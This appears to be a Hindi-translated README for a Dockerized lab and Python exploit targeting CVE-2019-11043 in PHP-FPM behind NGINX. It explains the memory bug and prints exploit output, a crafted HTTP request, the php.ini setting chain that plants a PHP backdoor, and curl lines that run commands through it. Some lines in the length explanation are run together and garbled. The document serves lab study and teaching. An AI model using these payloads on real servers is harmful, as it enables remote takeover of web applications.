
यह रिपॉजिटरी एक डॉकरीकृत बुनियादी ढांचा और CVE-2019-11043 शोषण का एक पायथन कार्यान्वयन प्रदान करती है।
CVE-2019-11043 शोषण का एक पायथन कार्यान्वयन
CVE-2019-11043 के रूप में दर्ज शोषण, PHP-FPM के कार्यान्वयन में एक बग का लाभ उठाता है जो NGINX सर्वर के संयोजन में होता है। कुछ विन्यासों में, FastCGI path_info में एक नियमित अभिव्यक्ति FPM मॉड्यूल को आवंटित बफ़र्स से परे FastCGI प्रोटोकॉल डेटा के लिए आरक्षित स्थान में लिखने का कारण बनता है। इसके परिणामस्वरूप, एक वेब उपयोगकर्ता दूरस्थ रूप से कोड निष्पादित करने में सक्षम हो सकता है। निम्न तालिका सामान्य कमजोरी स्कोरिंग सिस्टम (CVSS) के अनुसार शोषण की गंभीरता का मूल्यांकन दर्शाती है।
| मीट्रिक | मान |
|---|---|
| प्रभाव स्कोर | 5.9 |
| आधार स्कोर | 9.8 |
| गंभीरता | गंभीर |
| अभिगम वेक्टर | नेटवर्क |
| गोपनीयता | उच्च |
| अखंडता | उच्च |
| उपलब्धता | उच्च |
डॉकर इमेजेस:
पायथन:
प्रोजेक्ट चलाने के लिए Docker और docker-compose की स्थापना आवश्यक है।
प्रोजेक्ट की रूट डायरेक्टरी से निम्नलिखित कमांड चलाकर सभी आवश्यक डॉकर इमेजेस डाउनलोड हो जानी चाहिए और कंटेनर सही क्रम में शुरू हो जाने चाहिए:
docker-compose up
सेटअप को डेमॉनाइज़्ड चलाने के लिए, निम्नलिखित कमांड निष्पादित करें:
docker-compose up -d
डेमॉनाइज़्ड शुरुआत को रोकने के लिए, निम्नलिखित कमांड निष्पादित करें:
docker-compose down
उदाहरण
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
[Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
[Test] QSL Candidate: 1751
[Test] QSL Candidate: 1752
[Test] QSL Candidate: 1753
[Test] QSL Candidate: 1754
[Test] QSL Candidate: 1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!
You should be able to run commands using:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
or
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
यह कमजोरी Real World CTF 2019 क्वालिफिकेशन राउंड के दौरान पाई गई, जब एक सुरक्षा शोधकर्ता, एंड्रयू डानाउ ने पाया कि एक नई लाइन नियंत्रण वर्ण %0A भेजने से सर्वर के कोड में एक अपवाद आता है।
fastcgi_split_path_info निर्देश में नियमित अभिव्यक्ति को नई लाइन वर्ण (एन्कोडेड रूप में, %0A) का उपयोग करके तोड़ा जा सकता है। टूटी हुई नियमित अभिव्यक्ति तब एक खाली PATH_INFO की ओर ले जाती है, जो बग को ट्रिगर करती है।
चूंकि env_path_info वेरिएबल path_info का पता है, path_info 0 है, इसलिए pilen भी 0 है। slen अनुरोधित URL की लंबाई है।

URL पथ और क्वेरी स्ट्रिंग की सावधानीपूर्वक चुनी गई लंबाई का उपयोग करके, एक हमलावर path_info को _fcgi_data_seg संरचना के पहले बाइट पर सटीक रूप से इंगित कर सकता है। इसमें शून्य डालने से char* pos फ़ील्ड पीछे चली जाती है, और बाद में FCGI_PUTENV स्क्रिप्ट पथ के साथ कुछ डेटा (अन्य फास्ट सीजीआई चर सहित) को ओवरराइट करता है। इस तकनीक का उपयोग करके, कमजोरी एक नकली PHP_VALUE FCGI वेरिएबल बनाने की अनुमति देती है और फिर कोड निष्पादन प्राप्त करने के लिए सावधानीपूर्वक चुने गए कॉन्फ़िग मानों की एक श्रृंखला का उपयोग करती है।

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len URL पथ की लंबाई है
http://localhost:11043/index.php/TUD%0aNetSec.php है/var/www/html/index.php/TUD\nNetSec.php हैptlen URL पथ में पहले स्लैश से पहले की सामग्री की लंबाई है
http://localhost:11043/index.php/TUD%0aNetSec.php हैpt /var/www/html/index.php हैदो वेरिएबल "len" और "ptlen" के बीच का अंतर URL में निर्दिष्ट पथ की लंबाई है। चूंकि इन दोनों के पथ को नियंत्रित किया जा सकता है, वेरिएबल path_info को भी नियंत्रित किया जा सकता है।
चूंकि पथ नियंत्रणीय है, हम किसी भी पते के मान को शून्य पर सेट कर सकते हैं (पंक्ति 1222)। लक्षित पते के मान को शून्य पर सेट करके, हम _fcgi_data_seg संरचना के char* pos को शून्य पर नियंत्रित कर सकते हैं। इस दृष्टिकोण से हम एक बफर अंडरफ्लो का शोषण करते हैं और ग्लोबल वेरिएबल को सही मेमोरी स्पेस में लिखने में सक्षम होते हैं।
हैश और लंबाई की तुलना कुंजियों से पहले की जाती है। उपयुक्त हेडर और कुंजियों को सावधानीपूर्वक चुनकर, हम हेडर का उपयोग करके जोड़ सकते हैं। neex के निष्कर्षों के अनुसार, स्ट्रिंग "ebut", जो HTTP_EBUT बन जाती है, की लंबाई और FCGI_HASH मान PHP_VALUE के समान है। इस प्रकार सर्वर को एक GET अनुरोध भेजने पर
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
हेडर HTTP_EBUT PHP_VALUE बन जाता है और मान session_start=1 हो जाता है।
निम्नलिखित सूची शोषणकर्ता को आवश्यक शर्तें देती है जिन्हें हमले को तैनात करने के लिए पूरा किया जाना चाहिए।
पहले चरण में हमें एक क्वेरी स्ट्रिंग लंबाई खोजनी होगी जिस पर एक नई लाइन नियंत्रण वर्ण %0A सर्वर के कोड में एक अपवाद का कारण बनता है और ऐसा कि सर्वर > 500 HTTP त्रुटि कोड के साथ प्रतिक्रिया करता है। इस जानकारी के आधार पर, हम अब PHP_VALUE लिखने और उसकी सामग्री को नियंत्रित करने का प्रयास कर सकते हैं। सबसे पहले, हम एक सत्र स्थापित करने का प्रयास करते हैं। यदि यह सफल होता है, तो हम सर्वर की कमजोरी से अवगत हो जाते हैं। इस बिंदु पर, हम जानते हैं कि हम PHP में किसी भी ग्लोबल वेरिएबल को नियंत्रित करने में सक्षम हैं।
सर्वर के साथ पूर्वोक्त स्थापित सत्र का उपयोग करके, हम ओवरराइट करते हैं और दूरस्थ कोड निष्पादन की अनुमति देने के लिए सर्वर की सेटिंग्स में अपनी आवश्यक शर्तें स्थापित करते हैं। शोषण के लेखक विशेष पीएचपी सेटिंग्स की एक सरणी स्थापित करते हैं। वह ऑटो इन्क्लूडिंग सक्षम करता है, पथ को /tmp पर सेट करता है, लॉग फ़ाइल पता /tmp/a पर सेट करता है और पेलोड को लॉग फ़ाइल में भी लिखता है। अंत में, पीएचपी फ़ाइल स्वचालित रूप से एक बैकडोर बनाने के लिए एक लॉग फ़ाइल शामिल करेगी।
< GET /index.php/PHP_VALUE%0Asession.auto_start=1?TUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUD HTTP/1.1
< Host: localhost:11043
< User-Agent: CVE-2019-11043
< Accept-Encoding: gzip, deflate
< Accept: */*
< Connection: keep-alive
< TUD: AAAAAAAAAAAAAAAAA
< Ebut: tudda nwsec
<
> HTTP/1.1 200 OK
> Server: nginx/1.17.10
> Date: Tue, 19 May 2020 07:38:58 GMT
> Content-Type: text/html; charset=UTF-8
> Transfer-Encoding: chunked
> Connection: keep-alive
>
<html>
<head>
<title>Exploit PHP-FPM as proposed in CVE-2019-11043</title>
</head>
<body>
<p>Challenge PHP with nginx + php-fpm configurations.</p> </body>
</html>
दूरस्थ कोड निष्पादन को संभव बनाने वाली php.ini विकल्प श्रृंखला:
php_settings = [
"short_open_tag=1;;;;;;;", # Open short php tab
"html_errors=0;;;;;;;;;;", # Turn off HTML tag in the error message
"include_path=/tmp;;;;;;", # Include Path
"auto_prepend_file=a;;;;", # Specifies the files that are automatically included before the script executes, similar to require().
"log_errors=1;;;;;;;;;;;", # Enable error logging
"error_reporting=2;;;;;;", # Specify error level
"error_log=/tmp/a;;;;;;;", # Error logging file
"extension_dir=%22%3C%3F=%60%22;;;", # Specify the load directory for the extension
"extension=%22$_GET%5Ba%5D%60%3F%3E%22", # Specify the extension to load
]
नोट: अर्धविराम का उपयोग मेमोरी स्पेस भरने के लिए किया जाता है, जैसे कि PHP_VALUE\nauto_prepend_file=a;;;; 34 बाइट्स बन जाता है जो PATH_INFO की निश्चित लंबाई है। इस प्रकार हम सुनिश्चित करते हैं कि सभी सेटिंग्स मेमोरी स्पेस में सही ढंग से लिखी गई हैं।
PHP कई लोकप्रिय वेबसाइटों और वेब अनुप्रयोगों के लिए ढांचा प्रदान करता है। चूंकि PHP 7 के साथ NGINX-आधारित वेब सर्वर का उपयोग सर्वव्यापी है, इस कमजोरी को गंभीर के रूप में वर्गीकृत किया गया है। इसके अलावा, इसे लागू करना अपेक्षाकृत आसान है और एक बार दुरुपयोग होने पर स्थायित्व प्राप्त करता है। चूंकि CVE-2019-11043 का सफल शोषण RCE का कारण बन सकता है, यह हैकर्स और खतरे के कलाकारों को वेब एप्लिकेशन पर कब्जा करने की अनुमति दे सकता है।
शोषण को गंभीरता से लिया जाना चाहिए, इस तथ्य के बावजूद कि यह कमजोरी विशिष्ट NGINX कॉन्फ़िगरेशन तक सीमित है; डिफ़ॉल्ट Nginx में यह समस्या नहीं है।
https://paper.seebug.org/1064/
https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html
https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc
https://github.com/neex/phuip-fpizdam
https://github.com/theMiddleBlue/CVE-2019-11043